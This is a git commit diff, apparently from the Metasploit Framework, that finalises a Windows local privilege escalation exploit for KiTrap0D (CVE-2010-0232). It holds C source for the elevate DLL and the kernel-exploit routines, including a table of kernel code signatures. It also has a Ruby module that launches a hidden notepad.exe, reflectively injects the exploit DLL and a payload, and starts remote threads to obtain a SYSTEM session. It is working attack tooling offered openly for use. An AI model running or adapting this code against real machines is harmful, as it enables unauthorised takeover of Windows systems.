Finalise the local exploit for kitrap0d

The exploit now properly injects the DLL using RDI and invokes the
exploit based on a parameter passed by the Ruby module. The elevate
code is 'generic' with a goal of possibly supporting more exploits
down the track.

New sessions are now created with the SYSTEM creds, rather than
modifying the existing session. This is now inline with how things
are done with other local modules.
bug/bundler_fix
OJ 2013-11-12 20:10:31 +10:00
parent 82739c0315
commit 40f58ce534
No known key found for this signature in database
GPG Key ID: 49EEE7511FAA5749
14 changed files with 180 additions and 83 deletions

BIN
data/post/elevate.x86.dll Executable file

Binary file not shown.

21
external/source/exploits/elevate/common/ResourceLoader.c vendored Normal file → Executable file
View File

@ -1,6 +1,19 @@
/*!
* @file ResourceLoader.c
* @brief Helper functions for loading embedded resources.
*/
#include <Windows.h>
#include "common.h"
/*!
* @brief Load a resource from the given module as a raw array of bytes.
* @param hModule Handle to the module containing the resource.
* @param uResourceId ID of the resource to load.
* @param lpType The type of resource being loaded.
* @param pBuffer Pointer to the buffer that will receive the loaded resource.
* @param pBufferSize Pointer to the variable that will receive the size of \c pBuffer.
* @returns Indication of success or failure.
*/
DWORD resource_extract_raw(HMODULE hModule, UINT uResourceId, LPCSTR lpType, LPBYTE* pBuffer, LPDWORD pBufferSize)
{
DWORD dwResult = FALSE;
@ -61,9 +74,15 @@ DWORD resource_extract_raw(HMODULE hModule, UINT uResourceId, LPCSTR lpType, LPB
return dwResult;
}
/*!
* @brief Free up memory that was allocated when loading the resource.
* @param lpBuffer Pointer to the allocated buffer.
* @returns \c ERROR_SUCCESS
*/
DWORD resource_destroy(LPBYTE lpBuffer)
{
if (lpBuffer != NULL) {
if (lpBuffer != NULL)
{
free(lpBuffer);
}
return ERROR_SUCCESS;

4
external/source/exploits/elevate/common/ResourceLoader.h vendored Normal file → Executable file
View File

@ -1,3 +1,7 @@
/*!
* @file ResourceLoader.h
* @brief Declarations of helper functions for loading embedded resources.
*/
#ifndef _ESCALATE_RESOURCELOADER_H
#define _ESCALATE_RESOURCELOADER_H

View File

@ -3,27 +3,46 @@
* @brief Entry point and intialisation definitions for the elevation exploit.
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../common/ReflectiveLoader.c"
#include "elevate.h"
#include "../common/common.h"
#include "kitrap0d.h"
/*! @brief ID that is used by the caller when the KiTrap0D exploit is to be run. */
#define RUN_EXPLOIT_KITRAP0D 31337
/*!
* @brief Entry point to the exploit DLL.
* @param hinstDLL Reference to the DLL's module.
* @param dwReason The reason code for the invocation.
* @param lpReserved A reserved value, used by the exploit code.
* - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.
* @returns \c TRUE all the time.
* @remark The \c lpReserved value contains a number which identifies which
* exploit to invoke. This needs to be passed in from MSF, otherwise
* no exploit funtionality will be invoked.
*/
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
DWORD dwExploit = 0;
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
dwExploit = (DWORD)lpReserved;
if (dwExploit == RUN_EXPLOIT_KITRAP0D) {
elevate_via_exploit_kitrap0d(hinstDLL);
}
break;
case DLL_QUERY_HMODULE:
if (lpReserved != NULL) {
*(HMODULE *)lpReserved = hAppInstance;
}
elevate_via_exploit_kitrap0d(hAppInstance);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:

View File

@ -1,8 +0,0 @@
/*!
* @file elevate.h
* @brief Entry point and intialisation declarations for the elevation exploit.
*/
#ifndef _ELEVATE_ELEVATE_H
#define _ELEVATE_ELEVATE_H
#endif

View File

@ -84,6 +84,9 @@
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
@ -116,6 +119,9 @@
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
@ -164,9 +170,12 @@
<ImportLibrary>$(OutDir)\elevate.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@ -209,6 +218,9 @@
<ImportLibrary>$(OutDir)\elevate.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>

View File

@ -8,7 +8,6 @@
* - Windows 2008 Storage Server has 16-bit applications disabled by default
* - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
*/
#include <windows.h>
#include <stdio.h>
#include "../common/common.h"
@ -17,7 +16,40 @@
#include "resource.h"
#include "kitrap0d.h"
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
#define PAGE_SIZE 0x1000
enum { SystemModuleInformation = 11 };
typedef struct
{
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct
{
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct CodeSignature
{
UCHAR Signature[16];
DWORD Version;
};
/*!
* @brief List of code signatures used when searching kernel memory.
* @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
*/
struct CodeSignature CodeSignatures[] = {
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
@ -274,8 +306,6 @@ BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
/*!
* @breif Entry point for the KiTrap0D exploit.
* @param hElevateModule Handle to the freshly-loaded elevate.dll module that contains
* the embedded kitrap0d.dll resource.
* @remark This is known as CVE-2010-0232.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS The exploit worked as expected.
@ -299,7 +329,7 @@ DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule)
do
{
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting...");
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);
if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);

33
external/source/exploits/elevate/elevate/kitrap0d.h vendored Normal file → Executable file
View File

@ -1,36 +1,9 @@
/*!
* @file kitrap0d.h
*/
#ifndef _ELEVATE_KITRAP0D_KITRAP0D_H
#define _ELEVATE_KITRAP0D_KITRAP0D_H
#define PAGE_SIZE 0x1000
enum { SystemModuleInformation = 11 };
typedef struct
{
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct
{
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct CodeSignature
{
UCHAR Signature[16];
DWORD Version;
};
DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule);
#endif

View File

@ -1,5 +1,8 @@
// A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmexploit.c).
// http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
/*!
* @file kitrap0d.c
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
*/
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
@ -28,15 +31,17 @@ VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
#else
/*
* The global variables used...
*/
/*! * @brief Global target process ID. */
static DWORD dwTargetProcessId = 0;
/*! * @brief Global pointer to the kernel stack. */
static DWORD * lpKernelStackPointer = NULL;
/*! * @brief Global reference to the kernel itself. */
static HMODULE hKernel = NULL;
/*
* Find an exported kernel symbol by name.
/*!
* @brief Find an exported kernel symbol by name.
* @param SymbolName The name of the symbol to find.
* @returns Pointer to the symbol, if found.
*/
PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
{
@ -75,8 +80,8 @@ PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
return NULL;
}
/*
* Replace a value if it falls between a given range.
/*!
* @brief Replace a value if it falls between a given range.
*/
BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value)
{
@ -89,8 +94,8 @@ BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD r
return FALSE;
}
/*
* Search the specified data structure for a member with CurrentValue.
/*!
* @brief Search the specified data structure for a member with CurrentValue.
*/
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
{
@ -119,8 +124,8 @@ BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWO
return FALSE;
}
/*
* This routine is where we land after successfully triggering the vulnerability.
/*!
* @brief This routine is where we land after successfully triggering the vulnerability.
*/
#pragma warning(disable: 4731)
VOID elevator_kitrap0d_firststage(VOID)
@ -226,8 +231,8 @@ VOID elevator_kitrap0d_firststage(VOID)
}
#pragma warning(default: 4731)
/*
* Setup a minimal execution environment to satisfy NtVdmControl().
/*!
* @brief Setup a minimal execution environment to satisfy NtVdmControl().
*/
BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
{
@ -289,8 +294,8 @@ BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
return FALSE;
}
/*
* (CVE-2010-0232)
/*!
* @brief CVE-2010-0232 implementation.
*/
VOID elevator_kitrap0d(DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset)
{

View File

@ -1,5 +0,0 @@
LIBRARY kitrap0d
EXPORTS
a

4
external/source/exploits/elevate/kitrap0d/kitrap0d.h vendored Normal file → Executable file
View File

@ -1,3 +1,7 @@
/*!
* @file kitrap0d.h
*/
#ifndef _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
#define _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H

View File

@ -160,7 +160,7 @@
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">

View File

@ -121,6 +121,7 @@ VOID elevator_main(char * cpCommandLine)
/*!
* @brief rundll32.exe entry point.
* @todo Remove this?
*/
VOID DLLEXPORT CALLBACK a(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int nCmdShow)
{

View File

@ -5,21 +5,29 @@
require 'msf/core'
require 'msf/core/exploit/exe'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
# TODO: ask Juan/Sinner/Wvu what this should be
Rank = ExcellentRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
# Down the track when other exploits use this method they
# have their own ID that the elevate DLL will check for.
EXPLOIT_KITRAP0D_ID = 31337
def initialize(info={})
super( update_info( info,
'Name' => 'Windows SYSTEM escalation via KiTrap0D',
'Description' => %q{
This module will elevate the privileges of the specified session SYSTEM
using the KiTrap0D exploit by Tavis Ormandy. If the sessions is already
elevated, the exploit will not run.
This module will create a new session with SYSTEM privileges via the
KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already
elevated then the exploit will not run. The module relies on elevate.x86.dll,
located in the data/post folder and it does not support 64-bit versions of
Windows.
},
'License' => MSF_LICENSE,
'Author' => [
@ -70,20 +78,55 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
dll = ''
offset = nil
print_status("Launching notepad to host the exploit...")
cmd = "notepad.exe"
opts = {'Hidden' => true}
process = client.sys.process.execute(cmd, nil, opts)
pid = process.pid
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
print_good("Process #{pid} launched.")
print_status("Reflectively injecting the exploit DLL into #{pid}...")
library_path = ::File.join(Msf::Config.data_directory, "post", "elevate.x86.dll")
target_path = "elevate#{rand(100000).to_s}.dll"
library_path = ::File.expand_path(library_path)
::File.open(library_path, 'rb') { |f| dll = f.read }
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
pe.exports.entries.each do |e|
if e.name =~ /^\S*ReflectiveLoader\S*/
offset = pe.rva_to_file_offset(e.rva)
break
end
end
# Inject the exloit, but don't run it yet.
exploit_mem = inject_into_pid(dll, host_process)
load_options = {
'LibraryFilePath' => ::File.expand_path(library_path),
'TargetFilePath' => target_path,
'UploadLibrary' => true,
'SaveToDisk' => false,
'Extension' => false
}
print_status("Exploit injected. Injecting payload into #{pid}...")
# Inject the payload prior to running the exploit so that
# we avoid permission problems
payload_mem = inject_into_pid(payload.encoded, host_process)
print_status("Uploading elevation binary and running the KiTrap0d exploit...")
client.core.load_library(load_options)
print_status("Payload injected. Executing exploit...")
# invoke the exploit, passing in the ID of KiTrap0D
host_process.thread.create(exploit_mem + offset, EXPLOIT_KITRAP0D_ID)
print_status("Exploit executed. Executing payload...")
# Finally run our payload
host_process.thread.create(payload_mem, 0)
print_good("Exploit successful.")
end
protected
def inject_into_pid(payload, process)
payload_size = payload.length + 1024 - (payload.length % 1024)
payload_mem = process.memory.allocate(payload_size)
process.memory.protect(payload_mem)
process.memory.write(payload_mem, payload)
return payload_mem
end
end